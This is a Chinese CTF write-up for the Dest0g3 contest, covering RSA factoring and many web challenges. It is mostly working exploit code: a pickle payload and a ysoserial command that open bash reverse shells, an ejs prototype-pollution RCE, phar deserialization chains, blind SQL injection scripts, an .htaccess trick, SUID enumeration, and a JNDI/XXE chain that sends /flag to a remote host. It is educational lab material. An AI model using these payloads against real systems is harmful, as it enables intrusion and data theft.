Misc

签到。

Crypto

babyRSA

已知 n, c, e。发现 p q 相差很小,可以直接用 yafu 分解。

yafu-x64.exe factor(big_number)

Web

phpdest

伪协议配合多级符号链接的办法进行绕过。

  • https://www.anquanke.com/post/id/213235

EasyPHP

post ctf[]=.=报错触发error_handler

SimpleRCE

hex 绕过。 post aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));

middle

没见过的新知识点,学习一下。

  • https://xz.aliyun.com/t/7012
  • https://github.com/eddieivan01/pker
  • https://jishuin.proginn.com/p/763bfbd6a660
  • https://tari.moe/2021/10/25/2021nitai/
  • https://www.anquanke.com/post/id/259594
  • https://xz.aliyun.com/t/7436
  • https://pythonmana.com/2022/04/202204100617577444.html
  • https://zhuanlan.zhihu.com/p/361349643

因为 R 需要元组,但参数又要求 L,有两个思路,一个是把 L 转成元组,另个一个是用其他命令绕过 R。 这里用的后一种思路,于是可以手写出:

(cconfig
backdoor
(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'")'
lo.
import io
import sys
import pickle
import base64
import config

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

payload = b"""(cconfig
backdoor
(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'")'
lo."""
print(base64.b64encode(payload))
# restricted_loads(payload)
# print(str(restricted_loads(payload)))

#---config/__init__

import os  
  
def backdoor(cmd):  
    # 这里我也改了一下  
    if isinstance(cmd,list) :  
        s=''.join(cmd)  
        print("!!!!!!!!!!")  
        s=eval(s)  
        return s  
    else:  
        print("??????")

PharPOP

php原生类反序列化 + phar 绕过 + GC回收机制利用。

构造主要的 pop 链,先用DirectoryIterator+glob协议找到 flag 文件名,再用SplFileObject读取文件:

$t1 = new tree();
$t1->act = "DirectoryIterator";
//$t1->act = "SplFileObject";
$t1->name = "se";

$air = new air();
$air->p = $t1;

$apple = new apple();
$apple->xxx = $air;
$apple->flag = "glob:///f*";
//$apple->flag = "/fflaggg";

$t2 = new tree();
$t2->name = $apple;
$t2->act = "se";

$t3 = new tree();
$t3->name = $t2;
$t3->act = "se";

生成 phar 文件:

$exp = [$t3, null];  
  
$phar=new Phar('2.phar');  
$phar->startBuffering();  
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');  
$phar->addFromString("se",'text');  
$phar->setMetadata($exp);  
$phar->stopBuffering();

看这篇文章

可以修改 i:1i:0 使它能够触发GC机制;脚本重新计算签名。这里在本地测试时似乎发现一个小问题就是在 php7 下签名算法是 sha1,但在 php8 下似乎变成了 sha256。

from hashlib import sha1, sha256
f = open('./se.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('se2.phar', 'wb').write(newf) # 写入新文件

扔进 linux 压缩成 gz:

gzip se2.phar

然后发包:

import requests

f = open('se2.phar.gz', 'rb').read()

# resp = requests.post("http://09ea7070-78b0-483f-b812-82aa5b0764b6.node4.buuoj.cn:81/",
#                      data={
#                          '1': 'O:1:"D":1:{s:5:"start";s:1:"w";',
#                          '0': f})

resp = requests.post("http://09ea7070-78b0-483f-b812-82aa5b0764b6.node4.buuoj.cn:81/",
                     data={
                         '1': 'O:1:"D":1:{s:5:"start";s:1:"r";',
                         '0': 'phar:///tmp/a66f7196435a20ece56e64853bb5557c.jpg/xxx'})

print(resp.text)

EzSerial

cc6 带 Cookie 访问/admin路由反弹 shell。

java -jar ysoserial.jar  CommonsCollections6 'bash -c {echo,your code here}|{base64,-d}|{bash,-i}' | base64

funny_upload

  • https://www.anquanke.com/post/id/241147

.htaccess文件:

AddType application/x-httpd-php .jpg
php_value auto_prepend_file /flag

ezip

构造一个解压出错的 zip 文件,在 Linux 环境下可以将一个文件名改为////,然后就能使htaceess和图片马一起保存下来。

然后是 suid 提权:

$ find /usr -user root -perm -4000 -print 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/nl
/usr/bin/passwd

使用nl读取/flag

NodeSoEasy

ejs + node 原型链污染造成的 rce。

查看 ejs github 上的 pr,发现了出题人的 merge changes (但并没有被 ejs 作者接受:>),修改了shallowCopy函数,然后再看看未修改前,在shallowCopy中能够对opt本身直接加属性,则opt所有属性都可控,找到escapeFunctionclient并没有套 waf 能够加以利用造成 RCE。

{"__proto__":{"view options":{"client":"true", "escapeFunction": "1;process.mainModule.require('child_process').exec('echo b64code|base64 -d|bash')"}}}

Really SQL

网不好怎么办,多跑几遍 :<

import re

import requests

Ts = "hacked"
url = "http://28128670-4049-4d65-9c9b-41768cd215f6.node4.buuoj.cn:81/index.php"

# ctf flaggg
def SQL_injection(url):
    res = ""

    for i in range(1, 2000):
        left = 32
        right = 128
        mid = (left + right) // 2
        while left < right: # '||if((ord(mid((select(group_concat(Password))from(Staff.Users)),%d,1))>%d),(benchmark(1000000,sha(1))),0)||'1
            payload_database = "'||if((ord(mid(database(),%d,1))>%d),(benchmark(1000000,sha(1))),0)||'1" % (i, mid)
            payload_all_database = "'||if((ord(mid((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d),(benchmark(100000000,sha(1))),0)||'1" % (
            i, mid)
            payload_table = "'||if((ord(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1))>%d),(benchmark(100000000,sha(1))),0)||'1" % (
            i, mid)
            payload_cloumn = "'||if((ord(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),%d,1))>%d),(benchmark(100000000,sha(1))),0)||'1" % (
            i, mid)
            payload_info = "'||if((ord(mid((select(group_concat(cmd))from(ctf.flaggg)),%d,1))>%d),(benchmark(100000000,sha(1))),0)||'1" % (
            i, mid)
            payload = payload_info
            data = {
                    "username": payload,
                    "password": "123",
            }
            # urls = url + payload
            try:
                resp = requests.post(url=url, data=data, timeout=3)
                # print(resp.text)
                right = mid
            except:
                left = mid + 1
            mid = (left + right) // 2
            print(mid)
        # if (mid == 32):
        #     break
        res += chr(mid)
        print(res)
    print(res)

if __name__ == "__main__":
    SQL_injection(url)

easysql

网不好怎么办,多跑几遍 :<

如果单单使用 mid 进行单字符验证,那么有概率会出错,可以用left加上已经获得的字符串进行盲注。

import re

import requests

Ts = "hacked"
url = "http://f6053ba9-d057-40bd-8e5d-f0e07b0ba27d.node4.buuoj.cn:81/index.php"
dics = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}_-0123456789!@#$%^&*()+"
# ctf flaggg
def SQL_injection(url):
    # Dest0g3{62c13445
    # Dest0g3{62c13445-0835-44b6-845e}
    res = "Dest0g3{62c13445-0835-44b6-845e-d625ad"
    l = len(res)
    for i in range(l + 1, 2000):
        # for x in dics:
        for mid in range(128):
            # mid = ord(x)
            payload_database = "'||if((ord(mid(database(),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (i, mid)
            payload_all_database = "'||if((ord(mid((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (
            i, mid)
            payload_table = "'||if((ord(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (
            i, mid)
            payload_cloumn = "'||if((ord(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (
            i, mid)
            payload_info = "'||if((ord(mid((select(group_concat(cmd))from(ctf.flaggg)),%d,1))=%d),(benchmark(100000000,sha(1))),0)||'1" % (
            i, mid)

            payload_info_ = "'||if((left((select(group_concat(cmd))from(ctf.flaggg)),%d)='%s'),(benchmark(100000000,sha(1))),0)||'1" % (
                i, res + chr(mid))

            payload = payload_info
            data = {
                    "username": payload,
                    "password": "123",
            }
            try:
                resp = requests.post(url=url, data=data, timeout=2)
            except:
                print(mid)
                res += chr(mid)
                break
        print(res)
    print(res)

if __name__ == "__main__":
    SQL_injection(url)

ljctr

  • https://tttang.com/archive/1405/#toc_0x02-xxe-rce
  • https://xz.aliyun.com/t/10829#toc-9

高版本的绕过思路可以是寻找本地工厂类,发现可以用 c3p0 中的 lookup(contextName) 触发本地工厂类,而 docker 文件中给了 flag 的位置,所以能使用 org.apache.catalina.users.MemoryUserDatabaseFactory 进行 XXE 外带。

因为PoolBackedDataSource原本的writeObject方法会过不了Java agent的 waf,而且也没把contextName给写进去,所以需要考虑本地覆写writeObject,自己写好后编译成 class 文件然后替换 jar 包。

这里可以直接使用 winRAR 不需要解压 jar 就能进行 class 文件的替换。

在 vps 上起一个 rmi 服务端:

System.setProperty("java.rmi.server.hostname","your_ip");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
		true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "https://ip:port/exp.xml"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("xxe", referenceWrapper);
System.out.println("Start to run...");

然后更改writeObject

Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));

替换为

indirector = new ReferenceIndirector();
Properties properties = new Properties();
CompoundName name = new CompoundName("rmi://ip:port/xxe", properties);
indirector.setNameContextName(name);
IndirectlySerialized indirectlySerialized = indirector.indirectForm(this.connectionPoolDataSource);
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
Field field = clazz.getDeclaredField("reference");
field.setAccessible(true);
field.set(indirectlySerialized, (Object)null);
oos.writeObject(indirectlySerialized);

然后写 xml 和 dtd 文件进行无回显 XXE:

<?xml version="1.0" encoding="utf-8"?>   
<!DOCTYPE root [  
<!ENTITY % remote SYSTEM "https://ip:port/se.dtd">  
%remote;%int;%send;  
]>
<root/>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port?p=%file;'>">

然后是生成 payload 发送,最好用 url 编码一次 :< b64里有+,有铸币忘了一次又一次。

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("foo", "http://127.0.0.1"));

final ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos =  new ObjectOutputStream(out);
oos.writeObject(b);
byte[] res = out.toByteArray();
String b64 = Base64.getEncoder().encodeToString(res);
System.out.println(b64);
oos.close();

Reflections 是直接从 yso 里拿来的,自定义的内容就一股脑写在 writeObject 中了。